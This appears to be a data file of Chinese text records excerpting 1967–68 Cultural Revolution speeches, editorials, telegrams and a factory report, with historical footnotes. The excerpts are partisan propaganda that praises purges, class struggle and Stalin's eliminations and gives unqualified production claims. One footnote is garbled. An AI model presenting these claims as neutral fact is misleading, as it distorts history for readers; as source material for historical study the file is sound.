    {"text": "广大工农兵是具体劳动者，自然了解上层的情况少，加上广大党团骨干内心对党、对党的干部无限热爱，而走资本主义道路的当权派又都是打着红旗反红旗，所以他们受了蒙蔽，甚至较长一段时间内转不过来，这是有历史因素的。"},
    {"text": "无产阶级文化大革命，从政策策略上讲大致可分为四个阶段：从姚文元同志文章发表到八届十一中全会，这可算做第一阶段，这主要是发动阶段。"},
    {"text": "在我看来，知识分子，包括仍在学校受教育的青年知识分子，从党内到党外，世界现基本上还是资产阶级的，因为解放十几年来，文化教育界是修正主义把持了，所以资产阶级思想溶化在他们的血液中。 所以要革命的知识分子必须在这两个阶级、两条道路、两条路线斗争的关键阶段很好的改造世界现，否则就走向革命的反面，在这里我问大家一个问题：你们说文化大革命的目的是什么？"},
    {"text": "改造思想也必须是外因通过内因去起作用，内因是主要的。 世界观不改造，无产阶级文化大革命怎么能叫胜利呢？ 世界观不改造，这次文化大革命出了两千走资本主义道路当权派，下次可能出四千。 这次文化大革命代价是很大的，虽然解决两个阶级、两条道路斗争问题不是一、二次、三、四次文化大革命所能解决的，但这次文化大革命后，起码要巩固它十年。"},
    {"text": "就是说，这些人在民主革命时期，对反对三座大山是积极参加的，但到全国解放后，反对资产阶级了，他们就不那么赞成了； 在打土豪分田地时，他们是积极赞成并参加，但到全国解放后，农村要实行集体化时，他们就不那么赞成了。"},
    {"text": "但具有无产阶级世界观的人，就坚决走社会主义道路。 具有资产阶级世界观的人，就要走资本主义道路。 这就叫做资产阶级要按照资产阶级世界观改造世界，无产阶级要按照无产阶级世界观改造世界。"},
    {"text": "但这一小提党内走资本主义道路当权派，我们必须做主要对象打，因为他们的影响及流毒是很深远巨大的，所以也是我们这次文化大革命的主要任务。"},
    {"text": "这次文化大革命的第四阶段，是两个阶级、两条道路、两条路线斗争的关键阶段，所以安排大批判的时间比较长，中央文革还在讨论，有人认为今年年底为宜，有人认为明年五月份为宜。"},
    {"text": "〔1〕 七千人大会，一九六二年一月十一日至二月七日，中共中央在北京召开扩大的中央工作会议。 参加会议的有县委以上的各级党委主要负责人七千人，因此这次大会又称“七千人大会”。"},
    {"text": "〔4〕 李井泉，时任中共中央西南局第一书记，兼成都军区第一政委。 〔5〕 刘澜涛，时任中共中央西北局第一书记，兼兰州军区第一政委，并担任西北三线建设委员会主任。"},
    {"text": "一九六七年一月，以上海为开端，全国爆发了自下而上的夺权运动，二十二日，《人民日报》发表社论，认为“一月风暴”是“今年展开全国全面阶级斗争的一个伟大开端”，号召“从党内一小撮走资本主义道路当权派和坚持资产阶级反动路线的顽固分子手里，自下而上地夺权”。"},
    {"text": "〔7〕 一九六七年五月八日，《人民日报》、《红旗》杂志发表经中央政治局常委扩大会议讨论通过的编辑部文章《〈修养〉的要害是背叛无产阶级专政》。"},
    {"text": "列宁看到了无产阶级夺取政权以后，被打败的资产阶级甚至比无产阶级还要强大，时时企图复辟，同时小生产者不断生长新的资本主义和资产阶级，威胁无产阶级专政，因此要对付这些反革命威胁，并且战胜它，必须在长时期里强化无产阶级专政，舍此没有第二条路。"},
    {"text": "斯大林是个伟大的马克思列宁主义者，他在实际上解决了很大一批钻进党内的反革命资产阶级代表人物，例如托洛茨基，季诺维也夫，加米涅夫，拉狄克，布哈林，李可夫之流。"},
    {"text": "他的缺点是在理论上不承认在无产阶级专政整个历史时代社会上存在阶级和阶级斗争，革命的谁胜谁负没有最后解决，弄得不好，资产阶级就有复辟之可能。"},
    {"text": "毛泽东同志充分注意了整个苏联历史的经验，在他的一系列伟大著作和指示中，在这个伟大的历史文件中，在他亲自发动和领导的无产阶级文化大革命的伟大实践中，正确地解决了这一系列问题。"},
    {"text": "现在的文化大革命，仅仅是第一次，以后还必然要进行多次，毛泽东同志近几年经常说，革命的谁胜谁负，要在一个很长的历史时期内才能解决。"},
    {"text": "在社会主义社会中，“有两类社会矛盾，这就是敌我之间的矛盾和人民内部的矛盾”。 “敌我之间的矛盾是对抗性的矛盾。 人民内部的矛盾，在劳动人民之间说来，是非对抗性的”。"},
    {"text": "毛泽东同志告诉我们：必须“划分敌我和人民内部两类矛盾的界线”，“正确处理人民内部矛盾”，才能使无产阶级专政日益巩固和加强，使社会主义制度日益发展。"},
    {"text": "在社会主义这个历史阶段中，还存在着阶级、阶级矛盾和阶级斗争，存在着社会主义同资本主义两条道路的斗争，存在着资本主义复辟的危险性。"},
    {"text": "无产阶级和资产阶级之间的阶级斗争，各派政治力量之间的阶级斗争，无产阶级和资产阶级之间在意识形态方面的阶级斗争，还是长时期的，曲折的，有时甚至是很激烈的。"},
    {"text": "“我们对他们的关系绝对不是什么平等的关系，而是一个阶级压迫另一个阶级的关系，即无产阶级对资产阶级实行独裁或专政的关系，而不能是什么别的关系，例如所谓平等关系、被剥削阶级同剥削阶级的和平共处关系、仁义道德关系等等。"},
    {"text": "我们要巩固无产阶级专政，就必须充分注意识破“睡在我们的身旁”的“赫鲁晓夫那样的人物”，充分揭露他们，批判他们，整倒他们，使他们不能翻天，把那些被他们篡夺了的权力坚决夺回到无产阶级手中。"},
    {"text": "就是说，这个无产阶级文化大革命，运用无产阶级专政下的大民主的方法，自下而上地放手发动群众，同时，实行无产阶级革命派的大联合，实行革命群众、人民解放军和革命干部的革命三结合。"},
    {"text": "要在政治上、思想上、理论上批判修正主义，用无产阶级的思想去战胜资产阶级利己主义和一切非无产阶级思想，改革教育，改革文艺，改革一切不适应于社会主义经济基础的上层建筑，挖掉修正主义的根子。"},
    {"text": "《伟大的历史文件》是《红旗》杂志、《人民日报》为一九六七年五月十七日公开发表一九六六年五月十六日《中国共产党中央委员通知》（又称“五·一六通知”）而写的编辑部文章。"},
    {"text": "《沿着十月社会主义革命开辟的道路前进——纪念伟大的十月社会主义革命五十周年》是《人民日报》、《红旗》杂志、《解放军报》编辑部在一九六七年十一月六日发表的文章。"},
    {"text": "在听了氢弹会议汇报后的讲话 在听了氢弹会议 汇报后的讲话 * （一九六七年六月、七月） （一）（一九六七午六月十八日） 有些外国人对我们《北京周报》、新华社的对外宣传有意见，宣传毛泽东思想发展了马克思主义。过去不搞，现在文化大革命以后大搞特搞，吹得太厉害，人家也接受不了。有些话何必要自己来说，我们要谦虚，特别是对外，出去要谦虚一点，当然就不要失掉原则。昨天氢弹公报 〔1〕 ，我就把“伟大的导师、伟大的领袖、伟大的统帅、伟大的舵手”统统勾掉了。“万分喜悦和激动的心情”我把“万分”也勾掉了，不是十分，也不是百分，也不是千分，而是万分，我一分也不要，统统勾掉了。 （二）（一九六七年七月七日） 新武器，导弹、原子弹搞得很快，两年零八个月出氢弹，我们的发展速度超过了美国、英国、苏联、法国，现在在世界上是第四位。导弹、原子弹有很大成绩，这是赫鲁晓夫“帮忙”的结果，撤走了专家，逼着我们走自己的路，要给他一吨重的勋章。 注 释 * 这是毛泽东同志听取氢弹工作汇报后的两次谈话。 〔1〕 一九六七年六月十七日，新华社向全世界发布了《新闻公报》，全文如下： 毛泽东主席早在一九五八年六月就指出：搞一点原子弹、氢弹，我看有十年功夫完全可能。 在我国无产阶级文化大革命取得决定性胜利的凯歌声中，我们向全国人民和全世界人民庄严宣布：毛主席的这一英明预言和伟大号召已经实现了，在两年八个月的时间内进行了五次核试验之后，今天，一九六七年六月十七日，中国的第一颗氢弹在中国的西部地区上空爆炸成功了。 这次氢弹试验的成功，是中国核武器发展的又一个飞跃，标志着我国核武器的发展进入了一个崭新的阶段。中国人民为此而自豪，全世界革命人民也将为此而感到骄傲。我们怀着喜悦和激动的心情，欢呼毛泽东思想的又一伟大胜利，欢呼无产阶级文化大革命的又一辉煌成果。 中国共产党中央委员会、国务院、中央军事委员会、中央文化革命小组，向从事核武器研制和试验的中国人民解放军全体指战员、工人、工程技术人员、科学工作者和一切有关人员，致以最热烈的祝贺。他们在党中央、毛主席和他的亲密战友林彪同志的正确领导下，高举毛泽东思想伟大红旗，突出无产阶级政治，活学活用毛主席著作，坚决捍卫以毛主席为代表的无产阶级革命路线，坚决反对党内最大的一小撮走资本主义道路当权派的修正主义路线，抓革命，促生产，群策群力，大力协同，以“只争朝夕”的革命精神，克服了各种困难，闯出一条自己的道路，保证了这次氢弹试验的圆满成功。 毛主席说：“在生产斗争和科学实验范围内，人类总是不断发展的，自然界也总是不断发展的，永远不会停止在一个水平上。因此，人类总得不断地总结经验，有所发现，有所发明，有所创造，有所前进。”希望中国人民解放军、广大的革命职工和科学技术人员，遵循毛主席的这一教导，响应林彪同志关于“加强革命性、科学性、组织纪律性”的号召，戒骄戒躁，再接再厉，为加速发展我国国防科学技术和实现我国国防现代化，建立新的更加伟大的功勋。 中国有了原子弹，有了导弹，现在又有了氢弹，这就大长世界各国革命人民的志气，大灭帝国主义、现代修正主义和各国反动派的威风。中国氢弹试验的成功，进一步打破了美帝国主义和苏联修正主义的核垄断地位，沉重地打击了它们的核讹诈政策。中国氢弹试验的成功，对于正在英勇地进行抗美救国战争的越南人民，对于正在反抗美英帝国主义及其工具以色列侵略的阿拉伯人民，对于全世界一切革命的人民，都是极大的鼓舞和支持。 人是战争胜负的决定因素。中国进行必要而有限制的核试验，发展核武器，完全是为了防御，其最终目的就是为了消灭核武器。我们再一次郑重宣布，在任何时候、任何情况下，中国都不会首先使用核武器。我们说的话，从来是算数的。中国人民和中国政府，将一如既往地继续同全世界一切爱好和平的人民和国家一道，共同努力，坚持斗争，为全面禁止和彻底销毁核武器的崇高目标而奋斗。"},
    {"text": "视察华北、中南和华东地区时的重要指示 视察华北、中南和 华东地区时的重要指示 * （一九六七年十月） （一）关于形势 七、八、九三个月，形势发展很快。"},
    {"text": "有一些犯错误的同志一时想不通，还应该给他时间，让他多想一个时候。 要允许他们思想有反复，一时想通了，遇到一些事又想不通，还可以等待。"},
    {"text": "今后要吸取教训，很好地解决上下级关系问题，搞好干部和群众的关系。 以后干部要分别到下面去走一走，看一看，遇事多和群众商量，做群众的小学生。"},
    {"text": "不仅武的（军队），还要文的（党、政），都要进行教育，加强学习。 中央、各大区、各省、市都要办学习斑，分期分批地轮训。 每省都要开县人武部以上各级干部会，一个省二、三百人，多则四、五百人，大省应到千人左右。"},
    {"text": "一九五九年庐山会议期间，一九五九年七月二日至八月一日在庐山召开的中共中央政治局扩大会议和八月二日至十六日召开的中共八届八中全会，会议通过的《关于以彭德怀同志为首的反党集团的错误的决议》，揭发和批判了彭德怀、张闻天、黄克诚等同志的错误，他们把一些暂时的、局部的、早已克服了或者正在迅速克服中的缺点收集起来，并且加以极端夸大，把形势描写成为漆黑一团，企图向党要权。"},
    {"text": "接见刚果（布）<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>总理努马扎莱的谈话 接见刚果（布） 〔1〕 总理 努马扎莱的谈话 （一九六七年十月三日） 努马：我看到中国无产阶级文化大革命的伟大胜利，使中国人民政治觉悟大大提高了。 毛泽东：无政府主义也大大发展了。 努马：也许是这样，但是我们还没有看到这些。 毛泽东：有那么个思潮暴露出来好教育。 努马：你们的干部很谦虚。 毛泽东：非谦虚不可，否则群众斗他们。 努马：你们的干部与我们的干部有很大的区别。 毛泽东：没有多大区别。都是官大了，薪水多了，坐小汽车了。大官还得有人做，大官没人做还得了！薪水多一点，房子好一点，坐汽车也可以，但不要摆架子，和工农群众平等相待。不要动不动就训人、骂人。有的大队书记，薪水不多，房子不好，没坐小汽车，官也不大，就是官架子不小。运动一开始，结果把他们吓了一跳。 努马：外国讲中国很乱，我们怎么没看到？ 毛泽东：乱一点，你们可以到处走走，乱了以后就不乱了。不闹够就不行。这时候差不多了。我们准备再乱一年。 努马：什么叫越乱越好呢？ 毛泽东：不乱胜负不分，湖南、湖北、江西、安徽、浙江，除安徽省外都好。到中国得一条经验。湖南煤矿动刀动枪了。生产几万吨下降到几吨，现在已产二万吨。 努马：这样的矛盾，怎么解决得这么好呢？ 毛泽东：后台揪出来了，群众打够了，这时中央讲几句话就行了。有人吹中国怎么好，不要听那一套，非洲人架子小，所以我们希望你们来。欧洲、亚洲就不行。我只要求你（指干部）一条，要把官僚架子放下，跟老百姓、工人、农民、学生、战士、下级一起，平等待人。不要动不动就训人。有道理为什么要训人，可以解释嘛，有道理为什么要骂人？这样不行，老百姓不同意，也要批评你，当然不会因为这些打倒你。这次一年多的一个大批判运动，可把这些干部吓一跳。 努马：我们也开始反官架子。 毛泽东：我不建议你们也搞文化大革命。我们建军四十周年，建国十八年，打了二十二年，拥有打了几十年仗的解放军，所以搞文化大革命。 努马：我们不搞文化大革命，但我们要研究文化大革命的理论和世界意义。 毛泽东：这次文化大革命要改变国家部分机构，包括军队。恩克鲁玛 〔2〕 那次来，没有料到推翻他政权的就是他的军队。我看你还是早点回去。 努马：我们家里还有人，但我尽量早点回去。 注 释 〔1〕 一八八四年帝国主义瓜分非洲的柏林会议将刚果河以东地区划为比属殖民地，即今扎伊尔，以西地区划为法属殖民地，即现在的刚果，首都布拉柴维尔。一九六〇年八月十五日，刚果获得完全独立，定国名为刚果共和国。一九六四年二月二十二日，中刚两国建交。 〔2〕 恩克鲁玛，加纳独立运动领袖，一九五七年三月六日黄金海岸宣布独立，定国名为加纳，他被选为总理。一九六〇年七月一日宣布成立加纳共和国，他当选总统。一九六六年二月恩克鲁玛访问中国时，恰逢国内政变，他领导的政府被推翻，后来流亡并定居几内亚。"},
    {"text": "一个支部书记说了就算，什么事情都不同大家研究，不商量，不向大家征求意见。 支部作决议是要征求党员意见的，一次不够，再征求，要让党员讲意见，征求一次不够再征求。"},
    {"text": "一九二九年六月二十二日，红四军前委召开了红四军党的第七次代表大会，由“红四军代理前委书记”陈毅主持，解决当时存在的“是否取消军委”争论，毛泽东明确反对取消军委，会上，陈毅剥夺了毛泽东的军事指挥权，后在实践中认识到错误，向党中央汇报工作后，当年十月份，三次写信请毛泽东回来担任前委书记。"},
    {"text": "《科研批判》一九六八年四、五期合刊发表国家科委齐向红《同国民党反动派的一场殊死搏斗——彻底清算叛徒、特务、现行反革命张本的滔天罪行》，历数张本的反革命罪状。"},
    {"text": "一九六三年五月二十日，毛泽东同志主持制定了《《中共中央关于目前农村工作中若干问题的决定（草案）》。 〔4〕 后十条，一九六三年九月二十日，刘少奇主持制定了《关于农村社会主义教育运动中一些具体政策的规定（草案）》。"},
    {"text": "祝贺越南南方民族解放阵线成立七周年的电报 祝贺越南南方民族解放阵线 成立七周年的电报 * （一九六七年十二月十九日） 阮友寿 〔1〕 主席： 在越南南方民族解放阵线成立七周年的时候，我代表中国人民向战斗中的越南南方人民，表示最热烈的祝贺。 你们打得好！你们在非常艰苦的条件下，依靠自己的力量，把世界上最凶恶的美帝国主义打得走投无路，狼狈不堪，这是一个伟大的胜利。中国人民向你们致敬。 你们的胜利又一次表明，国家不分大小，只要充分动员人民，坚决依靠人民，进行人民战争，任何强大的敌人都是可以打败的。越南人民在伟大领袖胡志明 〔2〕 主席的英明领导下进行的抗美救国战争，为全世界被压迫人民和被压迫民族争取解放的斗争，树立了一个光辉的榜样。 美国侵略者在越南的日子不长了。但是，一切反动势力在他们行将灭亡的时候，总是要进行垂死挣扎的。他们必然要采取军事冒险和政治欺骗的种种手段，来挽救自己的灭亡。而革命人民在取得最后胜利之前，也必然会遇到各式各样的困难，但是，这些困难都是可以克服的，任何困难都阻挡不住革命人民的前进。坚持下去就是胜利。我深信，越南人民坚持持久战争，一定能够把美国侵略者从越南赶出去。 我们坚决支持你们。我们两国是唇齿相依的邻邦。我们两国人民是休戚与共的兄弟。兄弟的越南南方人民和全体越南人民可以相信，你们的斗争就是我们的斗争。七亿中国人民是越南人民的坚强后盾，辽阔的中国领土是越南人民的可靠后方。在我们两国人民坚强的战斗团结面前，美帝国主义的任何军事冒险和政治欺骗都是注定要失败的。 胜利一定属于英雄的越南人民！ 注 释 * 这是毛泽东同志起草的电文。 〔1〕 阮友寿，时任越南南方民族解放阵线中央委员会主席团主席。 〔2〕 胡志明，时任越南劳动党中央委员会主席、越南民主共和国主席。 关于国家机关的改革和革命委员会的基本经验 关于国家机关的改革 和革命委员会的基本经验 * （一九六八年二月、三月、八月） （一）（一九六八年二月） 〔1〕 大办学习斑。用学习班的方法斗私批修，提高认识，解决问题，狠抓思想革命化，组织革命化。已经成立革命委员会的应该巩固和发展，革命委员会就是好。应该总结经验，应该解放大批革命干部，干部只要不是三反分子、走资派、投敌叛变分子、特务分子，而是在运动中犯了路线错误认真检查，认识错误就可以三结合。在三结和中应该注意成份，但不能唯成份论，不要把坏人也结合进来。三结合要体现老、中、少，光小娃娃不行。 一般大学的革命委员会，解放军不结合进去，特殊情况下要结合，须经过市革命委员会批准。要警惕坏人，防止破坏。已经成立了革命委员会的应该爱护她，尊重她，帮助她，保卫她，维护她的无产阶级权威，严防阶级敌人破坏。革命委员会的成立，不是“三支两军” 〔2〕 工作的完成而是进入一个新的阶段，巩固和发展革命委员会的无产阶级权威。 （二）（一九六八年二月） 〔3〕 革命委员会的基本经验有三条：一条是有革命干部的代表，一条是有军队的代表，一条是有革命群众的代表，实现了革命的三结合。革命委员会要实行一元化的领导，打破重迭的行政机构，精兵简政，组织起一个革命化的联系群众的领导班子。 （三）（一九六八年八月二十日） 〔4〕 在革命委员会的领导下，以工人为主体的、有解放军指战员参加的毛泽东思想宣传队有步骤地进入学校及其他一切还没有搞好斗、批、改的单位，促进革命的大联合，促进清理阶级队伍，促进教育革命，认真搞好斗、批、改，就是根据毛主席伟大战略部署而来的一个革命的创举。 注 释 * ？？？ 〔1〕 这是毛泽东同志在一九六八年二月对党内的指示。 〔2〕 “三支两军”，一九六七年一月二十三日，中共中央、国务院、中央军委、中央文革小组联合发布《关于中国人民解放军坚决支持革命左派群众的决定》，中国人民解放军介入地方“文化大革命”，进行“支左”。 一九六七年三月十九日，中央军委做出《关于集中力量执行支左、支农、支工、军管、军训任务的决定》，即“三支两军”。首次将“三支两军”作为一个整体，向全军各部队提出。“三支两军”是指：军队支左（支持当时被称为左派群众的人们）、支工（支援工业）、支农（支援农业）、军管（对一些地区、部门和单位实行军事管制）、军训（对学生进行军事训练）。此后，以一月二十三日发布“支左”决议为起点，解放军“三支两军”便逐步在全国各地展开。 〔3〕 《人民日报》一九六八年三月三十日发表的《人民日报》、《红旗》杂志、《解放军报》社论《革命委员会好》中，用黑体字引用了这两段话。 〔4〕 这是毛泽东对一九六八年八月二十日送审稿《人民日报》、《解放军报》社论稿《团结起来，共同对敌》的修改。"},
    {"text": "支持美国黑人抗暴斗争的声明 支持美国黑人 抗暴斗争的声明 （一九六八年四月十六日） 最近，美国黑人牧师马丁·路德·金 〔1〕 突然被美帝国主义者暗杀。马丁·路德·金是一个非暴力主义者，但美帝国主义者并没有因此对他宽容，而是使用反革命的暴力，对他进行血腥的镇压。这一件事，深刻地教训了美国的广大黑人群众，激起了他们抗暴斗争的新风暴，席卷了美国一百几十个城市，是美国历史上前所未有的。它显示了在两千多万美国黑人中，蕴藏着极其强大的革命力量。 这场黑人的斗争风暴发生在美国国内，是美帝国主义当前整个政治危机和经济危机的一个突出表现。它给陷于内外交困的美帝国主义以沉重的打击。 美国黑人的斗争，不仅是被剥削、被压迫的黑人争取自由解放的斗争，而且是整个被剥削、被压迫的美国人民反对垄断资产阶级残暴统治的新号角。它对于全世界人民反对美帝国主义的斗争，对于越南人民反对美帝国主义的斗争，是一个巨大的支援和鼓舞。我代表中国人民，对美国黑人的正义斗争，表示坚决的支持。 美国的种族歧视，是殖民主义、帝国主义制度的产物。美国广大黑人同美国统治集团之间的矛盾，是阶级矛盾。只有推翻美国垄断资产阶级的反动统治，摧毁殖民主义、帝国主义制度，美国黑人才能够取得彻底解放。美国广大黑人同美国白人中的广大劳动人民，有着共同的利益和共同的斗争目标。因此，美国黑人的斗争正在获得越来越多的美国白色人种中的劳动人民和进步人士的同情和支持。美国黑人斗争必将同美国工人运动相结合，最终结束美国垄断资产阶级的罪恶统治。 我在一九六三年《支持美国黑人反对美帝国主义种族歧视的正义斗争的声明》中说过：“万恶的殖民主义、帝国主义制度是随着奴役和贩卖黑人而兴盛起来的，它也必将随着黑色人种的彻底解放而告终。”我现在仍然坚持这个观点。 当前，世界革命进入了一个伟大的新时代。美国黑人争取解放的斗争，是全世界人民反对美帝国主义的总斗争的一个组成部分，是当代世界革命的一个组成部分。我呼吁：世界各国的工人、农民、革命知识分子和一切愿意反对美帝国主义的人们，行动起来，给予美国黑人的斗争以强大的声援！全世界人民更紧密地团结起来，向着我们的共同敌人美帝国主义及其帮凶们发动持久的猛烈的进攻！可以肯定，殖民主义、帝国主义和一切剥削制度的彻底崩溃，世界上一切被压迫人民、被压迫民族的彻底翻身，已经为期不远了。 注 释 〔1〕 美国著名的黑人民权领袖马丁·路德·金（MartinLutherKing,Jr.），一九二九年一月十五日生于美国亚特兰大，一九五四年毕业于波士顿大学。毕业后，他在蒙哥马利城任牧师，并开始参加美国有色人种协进会的活动。 一九五六，马丁·路德·金领导蒙哥马利城黑人成功抵制了当地公共汽车歧视黑人的行为。当时全城五万名黑人都拒绝乘坐公共汽车，斗争坚持了三百八十五天，最终使美国最高法院宣布在交通工具上实施种族隔离为非法。一九五七年，他参与建立了黑人牧师组织——南方基督教领袖大会，并担任首任主席。 一九六三年八月，马丁·路德·金组织了美国历史上影响深远的“自由进军”运动，率领二十多万名黑人向首都华盛顿进军，为全美国的黑人争取人权。八月二十八日，他在林肯纪念堂前发表了著名演说《我有一个梦想》，发出反对种族歧视、争取平等的正义呼声。迫于巨大的压力，美国总统约翰逊于一九六四年签署了民权法案。同年，马丁·路德·金获得诺贝尔和平奖。 一九六八年四月四日，马丁·路德·金在支持田纳西州孟菲斯市清洁工人罢工斗争中被种族主义分子暗杀，年仅三十九岁。他的遇害引发了美国历史上前所未有的黑人抗暴斗争浪潮，席卷全美一百二十五个城市。"},
    {"text": "学校教育革命的方向——要和工农兵结合 学校教育革命的方向 ——要和工农兵结合 （一九六八年七、八、九月） （一）（一九六八年七月二十二日） 〔1〕 大学还是要办的，我这里主要说的是理工科大学还要办，但学制要缩短，教育要革命，要无产阶级政治挂帅，走上海机床厂从工人中培养技术人员的道路。"},
    {"text": "从这些学校出来的学生，有些人由于各种原因（这些原因大概是：或本人比较好，或教师比较好，或受了家庭、亲戚、朋友的影响，而主要的是受社会的影响）能同工农兵结合，为工农兵服务，有一些人则不能。"},
    {"text": "但随后不久，有些人又暗地活动起来，挑动群众斗群众，破坏文化大革命，破坏斗、批、改，破坏大联合和革命的三结合，破坏清理阶级队伍的工作和整党的工作。"},
    {"text": "现实的状况告诉我们：在这种情况下，单靠学生、知识分子不能完成教育战线的斗、批、改及其他一系列任务，必须有工人、解放军参加，必须有工人阶级的坚强领导。 实现无产阶级教育革命，必须有工人阶级领导，必须有工人群众参加，配合解放军战士，同学校的学生、教员、工人中决心把无产阶级教育革命进行到底的积极分子实行革命的三结合。"},
    {"text": "从根本上说来，走从工、农、兵及其后代中选拔工程技术人员及其他意识形态工作人员（教授、教员、科学家、新闻记者、文学家、艺术家和马克思主义理论家）的路，是已经确定的了。"},
    {"text": "同时，对过去和现在的大专院校毕业生和在学学生，党和工人阶级、贫下中农、人民解放军有责任，热情地、严肃地帮助他们中间一些至今还不懂得或还未下决心同工农兵结合、为工农兵服务的人们，逐步地改变过来。"},
    {"text": "全国各大、中、小工业城市所属各工厂的工程技术干部情况如何，各理工科高等、中等学校教育革命的情况如何，希望各地革命委员组织一些人做些典型的调查，报告中央，本刊将择要予以发表。 这里提出一个问题，就是对过去大量的高等及中等学校毕业生早已从事工作及现正从事工作的人们，要注意对他们进行再教育，使他们与工农结合起来。"},
    {"text": "（五）（一九六八年九月二十二日） 〔5〕 从旧学校培养的学生，多数或大多数是能够同工农兵结合的，有些人并有所发明、创造，不过要在正确的路线之下，由工农兵给他以再教育，彻底改变旧思想。"},
    {"text": "注 释 〔1〕 这是毛泽东同志对《从上海机床厂看培养工程技术人员的道路》报告的按语，“七·二一指示”，一九六八年七月二十二日，《人民日报》发布了这个报告，全文如下： 一、无产阶级文化大革命带来的深刻变化 上海机床厂是著名的生产精密磨床的大厂。"},
    {"text": "过去，这个厂的几个走资派和反动“权威”曾提出所谓“一对一”（即一个工人为一个技术人员服务），他们的所谓“结合”是“工程师动嘴，工人动手”，“工程师出主意，工人照着干”，还是多少年来“劳心者治人，劳力者治于人”的那一套。"},
    {"text": "文化大革命中，这个厂实行了工人、革命技术人员、革命干部的“三结合”，普通的工人参加了设计，技术人员也在第一线参加了实际操作，把理论和实践紧密结合起来，双方的关系有很大改善。"},
    {"text": "二、培养工程技术人员的道路 上海机床厂青年技术员（包括三十五岁左右的人）来源于两方面：大专院校历届毕业生（约三百五十人，其中百分之十是研究生和留学生）和工人中提拔的技术人员（约二百五十人，其中少数中间曾派往中等专科学校进修几年）。"},
    {"text": "目前，工人出身的技术人员，绝大多数是工艺方面的技术骨干，约有十分之一的人能独立设计高、精、尖的新产品。 在今年上半年试制成功的十种新型精密磨床中，有六种就是由工人出身的技术人员担任主任设计师的。"},
    {"text": "从两个年龄相仿而经历不同的技术员身上，可以看到一个鲜明的对比： 一个是上海某大学的毕业生，毕业后又专门学了一年外语，再去外国留学四年，得了一个“副博士”的学位，一九六二年开始到磨床研究所试验室担任技术员。"},
    {"text": "象这样一个在学校里读了二十多年书的人，过去由于理论脱离实际，又没有很好地同工人结合，所以长时期在科学研究方面没有作出突出的成就。"},
    {"text": "今年四月，由他担任主任设计师，试制成功了一台具有国际先进水平、为我国工业技术的发展所急需的大型平面磨床，填补了我国精密磨床方面的一个空白点。"},
    {"text": "据统计：一九五八年以来，这个厂自行设计试制成功的新产品中，由工人出身的技术人员以及青年技术人员和工人相结合试制成功的，在一九五八年约占百分之六十，一九五九年约占百分之七十，一九六〇年约占百分之八十，一九六〇年以后，特别是无产阶级文化大革命以来，几乎所有新产品都是他们设计试制成功的。 其中不少是具有国际先进水平的新产品，如镜面磨削万能外圆磨床，高中心外圆磨床等重点产品，都是工人出身的技术人员设计试制成功的。 有些大专院校毕业的青年技术人员，逐步摆脱修正主义教育路线的影响，放下架子和工人结合，经过一段时期的实践，在设计和新产品试制上也作出了比较显著的贡献。 比如一个一九六四年的大学毕业生，刚进厂时，成天捧着一本外国螺纹磨床的书（不是说不要读外国书），从理论到理论，几年来，在工作上没有什么创造。 文化大革命中，他提高了阶级觉悟和两条路线斗争觉悟，坚决走和工人结合的道路，今年初，就和两个工人技术人员和一个老师傅一起，试制成功了一种磨床的重要电器设备。"},
    {"text": "三、为什么工人出身的技术人员成长快、贡献大呢？ 最重要的一条是工人出身的技术人员对毛主席、对党有着深厚的无产阶级感情，他们在向科学技术进军的道路上，不为名，不为利，不畏艰险，不怕困难，不达目的誓不罢休。"},
    {"text": "一个一九五六年的大学毕业生，起初为了自己出名，关门搞磨头试验，先后报废了三十多个“磨头”，后来向有经验的老工人请教，在老工人的帮助下终于搞成功了。"},
    {"text": "有一个资产阶级“专家”设计一台磨床，前后搞了八年，浪费了国家大量资金，始终没有搞成功，而他自己却捞到了不少所谓“数据”，作为他争夺名利的资本。"},
    {"text": "”工人出身的技术人员，在长期的劳动中，积累了丰富的实践经验，他们经过几年业余学校的学习，或者读了几年业余技术专科学校，理论和实践紧密结合起来，出现了一个飞跃，很快就能胜任科学研究和独立设计的任务。"},
    {"text": "有一位工人出身的技术人员，运用丰富的实践经验，解决了一个产品的复杂的加工工艺问题，他一边实践，一边学习金属切削的原理，很快地把实践经验上升为理论，使他在金属切削加工工艺方面，有独到的见解。"},
    {"text": "从大专院校出来的技术人员，当他们未和工人结合之前，缺乏实践经验，书本知识往往和实际脱节，因此很难作出什么成就来。 有一次，有几个从大专院校出来的技术人员，因为缺乏实践经验，设计了一台内螺纹磨床，工人们按照图纸的零件加工，结果根本无法装配。"},
    {"text": "许多工人出身的技术人员，由于没有个人名利的精神枷锁的束缚，加上有丰富的实践经验，因此敢于破除迷信，破除不适用的框框，最少保守思想。"},
    {"text": "以最近试制成功的具有国际水平的一台精密磨床为例，由于工人出身的技术人员大胆突破了沿袭已久的框框，试制周期从一年半缩短为半年，精度提高四级，零件和重量分别减少三分之一，造价相当于进口的百分之十五点五。"},
    {"text": "而有些学校出来的技术人员，不注意思想改造，往往容易考虑个人得失，怕丢面子，失架子，同时，他们条条框框也比较多，因而不容易破除迷信，创造出新技术来。"},
    {"text": "四、从工厂看教育革命的方向 分析一下上海机床厂不同类型的工程技术人员的状况和他们所走过的道路，我们也可以看出一个教育革命的方向问题。"},
    {"text": "这个工厂的老工人和许多青年技术人员从实践中更加深刻地体会到毛主席关于“资产阶级知识分子统治我们学校的现象，再也不能继续下去了”这一教导无比英明正确。"},
    {"text": "这个厂的工人和技术人员根据毛主席的教育思想和工厂的实际情况，对教育革命提出了一些看法和设想： 第一，学校培养的必须是毛主席所指出的“有社会主义觉悟的有文化的劳动者”，决不能象修正主义教育路线那样，培养那种脱离无产阶级政治、脱离工农群众、脱离生产实践的“三脱离”的“精神贵族”。"},
    {"text": "青年学生和工农结合，参加生产劳动，是改造世界观和学到实际技术知识的重要途径。 因此，他们建议，大学毕业生应当先到工厂、农村，参加劳动，当一个普通劳动者，在工人、农民那里取得“合格证书”，然后根据实际斗争的需要，有些可以参加技术工作，但也还要有一定时间参加劳动。"},
    {"text": "他们认为，除了继续从工人队伍中提拔技术人员外，应该由基层选拔政治思想好的，具有两三年或四、五年劳动实践经验的初、高中毕业生进入大专院校学习。"},
    {"text": "第三，一个初、高中毕业生，经过几年劳动，大约在二十岁左右，再经过几年学习，二十三四岁毕业就能独立工作，而目前一个大学毕业生到工作岗位后，一般要经过二三年实践，才逐步能独立工作，因此选拔有实践经验的知识青年到大学培养，这是符合多快好省的原则的。"},
